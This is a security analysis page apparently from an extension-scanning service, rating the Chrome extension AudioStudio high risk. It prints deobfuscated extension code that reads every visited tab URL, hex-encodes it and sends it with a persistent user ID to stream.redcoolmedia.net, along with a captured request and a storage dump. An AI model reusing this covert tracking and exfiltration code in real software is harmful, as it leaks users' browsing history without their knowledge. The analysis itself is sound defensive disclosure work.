Is Audio editor & music editor AudioStudio safe?

High risk

AudioStudio is high risk. AudioStudio creates or reuses a 10-character ID in Chrome storage and attaches it to requests sent to stream.redcoolmedia.net. Dynamic analysis observed the same ID, ovhmpjbinx, in four navigation requests and in storage.local.…

RedcoolMediav1.9.0Chrome Web Store
75Risk
Who publishes it

RedcoolMedia - 15 other listings from the same operator, 10 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RedcoolMedia
Registered address
Europe Avenue, S/N, Pozuelo 28224, Spain

Same store account

15 other listings published from this account, 372k+ users between them. 10 of them carry a finding.

OfficeWork90k+HighMovieStudio90k+HighPhotoStudio40k+HighPDFOffice40k+HighDocsWork30k+HighVideoStudio20k+High9 more listings in the relationship graph, on paid plans →

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

stream.redcoolmedia.net
Also called by 4 other listings
redcoolmedia.net
Also called by 8 other listings

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Persistent AudioStudio ID links repeated browsing requests

AudioStudio creates or reuses a 10-character ID in Chrome storage and attaches it to requests sent to stream.redcoolmedia.net.

Dynamic analysis observed the same ID, ovhmpjbinx, in four navigation requests and in storage.local.

01EvidenceCAUSE EFFECT
What actually happens
You did this

AudioStudio starts and handles browsing events.

The extension did this

The extension stores a 10-character ID and appends it to RedCoolMedia requests.

The same value was observed in repeated browsing-history requests.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://stream.redcoolmedia.net/api/audiostudiou.php?l=68747470733a2f2f7777772e676f6f676c652e636f6d2f&hex=1&u=ovhmpjbinx
The same u value was observed in all four captured navigation requests.
03EvidenceSTORAGE DUMP
What's stored on your device

The extension keeps an identifier in browser extension storage, so repeated requests can be tied back to the same profile.

Locationchrome.storage.local key redcool_key and chrome.storage.sync key usernameredcool
Contents (JSON)
{
  "chrome.storage.sync.usernameredcool": "50tqsqaxfk",
  "chrome.storage.local.redcool_key.redcoolonline": "1",
  "chrome.storage.local.redcool_key.usernameredcool": "ovhmpjbinx"
}
04EvidenceFIELD TABLE
Identifier fields linked by the request and storage evidence
FieldValueWhy it matters
Request user ID
ovhmpjbinxLets multiple browsing requests from your browser profile be correlated.
Stored local ID
redcool_key.usernameredcool = ovhmpjbinxShows the same ID is saved locally instead of being a one-time request value.
Linked browsing record
4 observed requests shared u=ovhmpjbinxConnects the pages you visit over time to the same extension identifier.
05EvidenceCODE COMPARE
The code that does this

The stored identifier is generated, saved, and reused in requests

What it actually does
Background storage and request pathdeobfuscated/web.js
async function exx(urly) {
    
    
    var redxda = { usernameredcool: null,  redcoolonline: null };
    var usernameredcool = "";
    var redcoolonline = "";
    const redcool_key = "redcool_key";

    let storageResult = await chrome.storage.local.get([redcool_key]);

    if (redcool_key in storageResult) {
            redxda = storageResult[redcool_key]
    }

    if ( redxda.usernameredcool ) {
        usernameredcool = redxda.usernameredcool;
    }
    else {
        usernameredcool = "" + randomString(10) + "".toLowerCase();
        redxda.usernameredcool = usernameredcool;
    }

    if ( redxda.redcoolonline ) {
        redcoolonline = redxda.redcoolonline;
    }
    else {
        redcoolonline = "1";
        redxda.redcoolonline = "1";
    }

    var stox = {};
    stox[redcool_key] = redxda;
    await chrome.storage.local.set(stox);
    
    var date = new Date();
                
    var un = usernameredcool;
    
    if ( redxda.redcoolonline == "0") 
        return;
    
        
     let rtcx = await fetch('https://stream.redcoolmedia.net/api/audiostudiou.php?l=' + bin2hex(urly) + '&hex=1&u=' + un);
                
     if (rtcx.status === 200) {
              let dsx = await rtcx.text();
              console.log(dsx);  
              var rse2 = dsx;
              if ( rse2.indexOf("302") !== -1 )   {
                       var cvcv = 'https://www.redcoolmedia.net/api/app-audiostudio.php?url=' + bin2hex(urly) + '&u=' + un;
                       //chrome.tabs.create({ url: cvcv });
                       chrome.tabs.update(chrome.tabs.getCurrent().id, {url: cvcv});
             }
                                  
     }           
    
}


function randomString(len, charSet) {
    charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var randomString = '';
    for (var i = 0; i < len; i++) {
        var randomPoz = Math.floor(Math.random() * charSet.length);
        randomString += charSet.substring(randomPoz,randomPoz+1);
    }
    return randomString.toLowerCase();
}
Popup storage and RedCoolMedia endpointsdeobfuscated/apar.js
function randomString(len, charSet) {
    charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var randomString = '';
    for (var i = 0; i < len; i++) {
        var randomPoz = Math.floor(Math.random() * charSet.length);
        randomString += charSet.substring(randomPoz,randomPoz+1);
    }
    return randomString;
}
06EvidenceTHIRD PARTY LIST
Hosts receiving the stored identifier
  • stream.redcoolmedia.net

    Receives the u query parameter on AudioStudio navigation and popup API requests.

  • www.redcoolmedia.net

    Receives the same identifier on AudioStudio app and file-service URLs.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Visited page URLs sent to RedCoolMedia on navigation

Opening, updating, or switching tabs makes AudioStudio read the page URL, hex-encode it, and send it to stream.redcoolmedia.net with a persistent user ID.

Dynamic analysis observed four navigation GETs; decoding l recovered the URLs.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open a page, switch tabs, or a page finishes loading.

The extension did this

AudioStudio reads that tab's full URL and sends it to stream.redcoolmedia.net.

The request includes the URL as hexadecimal text and includes the same 10-character user ID.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://stream.redcoolmedia.net/api/audiostudiou.php?l=68747470733a2f2f7777772e676f6f676c652e636f6d2f&hex=1&u=ovhmpjbinx
Observed during dynamic analysis as one of four navigation-triggered requests to the same endpoint.
03EvidenceFIELD TABLE
Fields carried by the captured request
FieldValueWhy it matters
Visited page URL
https://www.google.com/Shows the exact page you visited, including path information that may reveal page-specific context.
Browsing sequence
https://www.google.com/ then https://www.amazon.com/Repeated requests build a record of the pages you visited during the session.
Extension user ID
ovhmpjbinxLets repeated browsing requests from the same browser profile be linked together.
04EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The visited URL is not sent as readable text; it is hex-encoded in the l query parameter.

What's actually being sent
https://www.google.com/
05EvidenceCODE COMPARE
The code that does this

The navigation listener and request builder in the shipped extension

What it actually does
Tab navigation handlerdeobfuscated/web.js
function xdii(tabId) {
      chrome.tabs.get(tabId, function(tab) {          
            if ( ( tab.url.indexOf("redco") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lasiee != tab.url) )  {
                    utyu =  tab.url;
                    rtcc = "";
                    rtcc =   utyu;  
                    exx(rtcc);
                    lasiee = tab.url;
            }
      });
}


function web() {
    this.init = function () {
        
        chrome.tabs.onActivated.addListener(function(activeInfo) {
                aati = activeInfo.tabId;
                xdii(aati);
        });

        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
                    xdii(tabId);
        });
     
    };
}
Network request and hex encoderdeobfuscated/web.js
async function exx(urly) {
    
    
    var redxda = { usernameredcool: null,  redcoolonline: null };
    var usernameredcool = "";
    var redcoolonline = "";
    const redcool_key = "redcool_key";

    let storageResult = await chrome.storage.local.get([redcool_key]);

    if (redcool_key in storageResult) {
            redxda = storageResult[redcool_key]
    }

    if ( redxda.usernameredcool ) {
        usernameredcool = redxda.usernameredcool;
    }
    else {
        usernameredcool = "" + randomString(10) + "".toLowerCase();
        redxda.usernameredcool = usernameredcool;
    }

    if ( redxda.redcoolonline ) {
        redcoolonline = redxda.redcoolonline;
    }
    else {
        redcoolonline = "1";
        redxda.redcoolonline = "1";
    }

    var stox = {};
    stox[redcool_key] = redxda;
    await chrome.storage.local.set(stox);
    
    var date = new Date();
                
    var un = usernameredcool;
    
    if ( redxda.redcoolonline == "0") 
        return;
    
        
     let rtcx = await fetch('https://stream.redcoolmedia.net/api/audiostudiou.php?l=' + bin2hex(urly) + '&hex=1&u=' + un);
                
     if (rtcx.status === 200) {
              let dsx = await rtcx.text();
              console.log(dsx);  
              var rse2 = dsx;
              if ( rse2.indexOf("302") !== -1 )   {
                       var cvcv = 'https://www.redcoolmedia.net/api/app-audiostudio.php?url=' + bin2hex(urly) + '&u=' + un;
                       //chrome.tabs.create({ url: cvcv });
                       chrome.tabs.update(chrome.tabs.getCurrent().id, {url: cvcv});
             }
                                  
     }           
    
}


function bin2hex (bin)
{
  var i = 0, l = bin.length, chr, hex = '';
  for (i; i < l; ++i)
  {
    chr = bin.charCodeAt(i).toString(16)
    hex += chr.length < 2 ? '0' + chr : chr
  }
  return hex
}
06EvidenceTHIRD PARTY LIST
Destination observed for the navigation requests
  • stream.redcoolmedia.net

    Receives the encoded visited URL and the persistent AudioStudio user ID.

  • www.redcoolmedia.net

    Referenced by the same request handler when the response contains 302, using the same encoded URL and user ID.

What it can do

Permissions this extension asks for, as declared in version 1.9.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Updated 30 September 2026dfmpaemifkgbnlgcccccnfjjkeiikeie